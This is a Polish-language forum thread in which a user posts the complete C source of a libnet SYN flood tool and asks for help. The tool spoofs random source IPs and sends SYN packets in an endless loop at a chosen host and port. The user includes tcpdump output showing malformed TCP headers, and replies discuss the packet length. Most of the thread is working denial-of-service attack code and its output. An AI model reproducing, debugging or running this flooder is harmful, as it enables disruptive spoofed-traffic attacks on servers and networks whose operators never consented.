sunsetting

photo

Witam,

mam problem z programem który teoretycznie powinien wykonywac atak synflood na podany address i port.

Kod:
#include <libnet.h>

#define FLOOD_DELAY 5000 // 5000 ms opó¼nienia miêdzy wstrzykniêciami pakietów

/* zwraca adres IP w notacji x.x.x.x */
char *print_ip(u_long *ip_addr_ptr) {
   return inet_ntoa( *((struct in_addr *)ip_addr_ptr) );
}

int main(int argc, char *argv[]) {
   u_long dest_ip;
   u_short dest_port;
   u_char errbuf[LIBNET_ERRBUF_SIZE], *packet;
   int opt, network, byte_count, packet_size = LIBNET_IP_H + LIBNET_TCP_H;

   if(argc < 3)
   {
      printf("Sposób u¿ycia:\n%s\t <host_docelowy> <port_docelowy>\n", argv[0]);
      exit(1);
   }

   dest_ip = libnet_name_resolve(argv[1], LIBNET_RESOLVE); // host
   dest_port = (u_short) atoi(argv[2]); // port

   network = libnet_open_raw_sock(IPPROTO_RAW); // otwórz interfejsy sieciowe
   if (network == -1)
      libnet_error(LIBNET_ERR_FATAL, "nie mo¿na otworzyæ interfejsu sieciowego.  -- ten program musi byæ uruchomiony z uprawnieniami superu¿ytkownika.\n");

   libnet_init_packet(packet_size, &packet); // alokuj pamiêæ dla pakietu
   if (packet == NULL)
      libnet_error(LIBNET_ERR_FATAL, "nie mo¿na zainicjalizowaæ pamiêci pakietu.\n");

   libnet_seed_prand(); // ziarno dla generatora liczb losowych

   printf("Zalewam pakietami SYN port %d hosta %s..\n", dest_port, print_ip(&dest_ip));
   while(1) // pêtla w nieskoñczono¶æ (a¿ do przerwania za pomoc±  TRL-C)
   {
    libnet_build_ip(LIBNET_TCP_H,      // rozmiar nag³ówka
         IPTOS_LOWDELAY,                 // IP tos
        libnet_get_prand(LIBNET_PRu16), // IP ID (randomizowany)
        0,                              // frag stuff
        libnet_get_prand(LIBNET_PR8),   // TTL (randomizowany)
        IPPROTO_TCP,                    // protokó³
        libnet_get_prand(LIBNET_PRu32), // sourc IP (randomizowany)
        dest_ip,                        // dest IP
        NULL,                           // ³adunek (brak)
        0,                              // d³ugo¶æ ³adunku
        packet);                        // pamieæ nag³ówka pakietu
 
      libnet_build_tcp(libnet_get_prand(LIBNET_PRu16), // source TCP port (random)
        dest_port,                      // docelowy port TCP
         libnet_get_prand(LIBNET_PRu32), // numer sekwencyjny (randomizowany)
         libnet_get_prand(LIBNET_PRu32), // numer potwierdzenia (randomizowany)
         TH_SYN,                         // znczniki steruj±ce flags (ustawiony jest tylko SYN)
         libnet_get_prand(LIBNET_PRu16), // rozmiar okna (randomizowany)
        0,                              // wksa¼nik pilno¶ci
        NULL,                           // ³adunek (brak)
        0,                              // d³ugo¶æ ³adunku
        packet + LIBNET_IP_H);          // pamiêæ nag³ówka pakietu

      if (libnet_do_checksum(packet, IPPROTO_TCP, LIBNET_TCP_H) == -1)
        libnet_error(LIBNET_ERR_FATAL, "nie mo¿na obliczyæ sumy kontrolnej\n");

      byte_count = libnet_write_ip(network, packet, packet_size); // inject packet
      if (byte_count < packet_size)
        libnet_error(LIBNET_ERR_WARNING, "Uwaga: Zapisano niepe³ny pakiet.  (%d z %d bajtów)", byte_count, packet_size);

      usleep(FLOOD_DELAY); // odczekaj FLOOD_DELAY milisekund
   }

   libnet_destroy_packet(&packet); // zwolnij pamiêæ pakietu

   if (libnet_close_raw_sock(network) == -1) // zamknij interfejs sieciowy
      libnet_error(LIBNET_ERR_WARNING, "nie mo¿na zamkkn±æ interfejsu sieciowego.");

   return 0;
}

./synflood 192.168.0.2 21
daje output w tcpdump:

tcpdump -nlvv -c 10 "dst 192.168.0.2"

tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 68 bytes
19:23:43.669095 IP (tos 0x10, ttl 106, id 49310, offset 0, flags [none], proto TCP (6), length 40) 252.5.85.76.10034 > 192.168.0.2.21: tcp 20 [bad hdr length 0 - too short, < 20]
19:23:43.674179 IP (tos 0x10, ttl 175, id 37554, offset 0, flags [none], proto TCP (6), length 40) 211.205.9.50.41722 > 192.168.0.2.21: tcp 20 [bad hdr length 0 - too short, < 20]
19:23:43.679255 IP (tos 0x10, ttl 43, id 17951, offset 0, flags [none], proto TCP (6), length 40) 241.95.228.37.15623 > 192.168.0.2.21: tcp 20 [bad hdr length 0 - too short, < 20]
19:23:43.684332 IP (tos 0x10, ttl 210, id 28792, offset 0, flags [none], proto TCP (6), length 40) 158.62.30.43.12400 > 192.168.0.2.21: tcp 20 [bad hdr length 0 - too short, < 20]
19:23:43.689411 IP (tos 0x10, ttl 191, id 56325, offset 0, flags [none], proto TCP (6), length 40) 150.244.84.85.63175 > 192.168.0.2.21: tcp 20 [bad hdr length 0 - too short, < 20]
19:23:43.694493 IP (tos 0x10, ttl 29, id 40441, offset 0, flags [none], proto TCP (6), length 40) 196.129.112.71.57291 > 192.168.0.2.21: tcp 20 [bad hdr length 0 - too short, < 20]
19:23:43.699572 IP (tos 0x10, ttl 165, id 710, offset 0, flags [none], proto TCP (6), length 40) 225.18.5.44.261 > 192.168.0.2.21: tcp 20 [bad hdr length 0 - too short, < 20]
19:23:43.704651 IP (tos 0x10, ttl 132, id 48651, offset 0, flags [none], proto TCP (6), length 40) 55.168.212.116.50117 > 192.168.0.2.21: tcp 20 [bad hdr length 0 - too short, < 20]
19:23:43.709728 IP (tos 0x10, ttl 79, id 29749, offset 0, flags [none], proto TCP (6), length 40) 244.98.186.119.49365 > 192.168.0.2.21: tcp 20 [bad hdr length 0 - too short, < 20]
19:23:43.714809 IP (tos 0x10, ttl 204, id 14237, offset 0, flags [none], proto TCP (6), length 40) 237.113.235.110.29471 > 192.168.0.2.21: tcp 20 [bad hdr length 0 - too short, < 20]
10 packets captured
10 packets received by filter
0 packets dropped by kernel

nie wiem w czym moze lezec blad: tcp 20 [bad hdr length 0 - too short, < 20]

kernel 2.6.31 64 bit
gcc 4.3.4
libnet-1.0

Bede wdzieczny za kazda konstruktywna podpowiedz ;]


Jako d³ugo¶æ pakietu podajesz d³ugo¶æ ca³ego pakietu TCP, a nie ilo¶æ danych przesy³anych przez ten pakiet. Nie jestem do koñca pewien, ale sprawd¼ dok³adnie jaka powinna byæ d³ugo¶æ.
D³ugosc ca³ego pakietu powinna byc rowna 40 bajtow z czego 20 na hdr IP i 20 na TCP, niestety nie widze miejsca w kodzie, ktore powodowalo by uszkadzanie pakietu.
  • zanotowane.pl
  • doc.pisz.pl
  • pdf.pisz.pl
  • kazimierz.htw.pl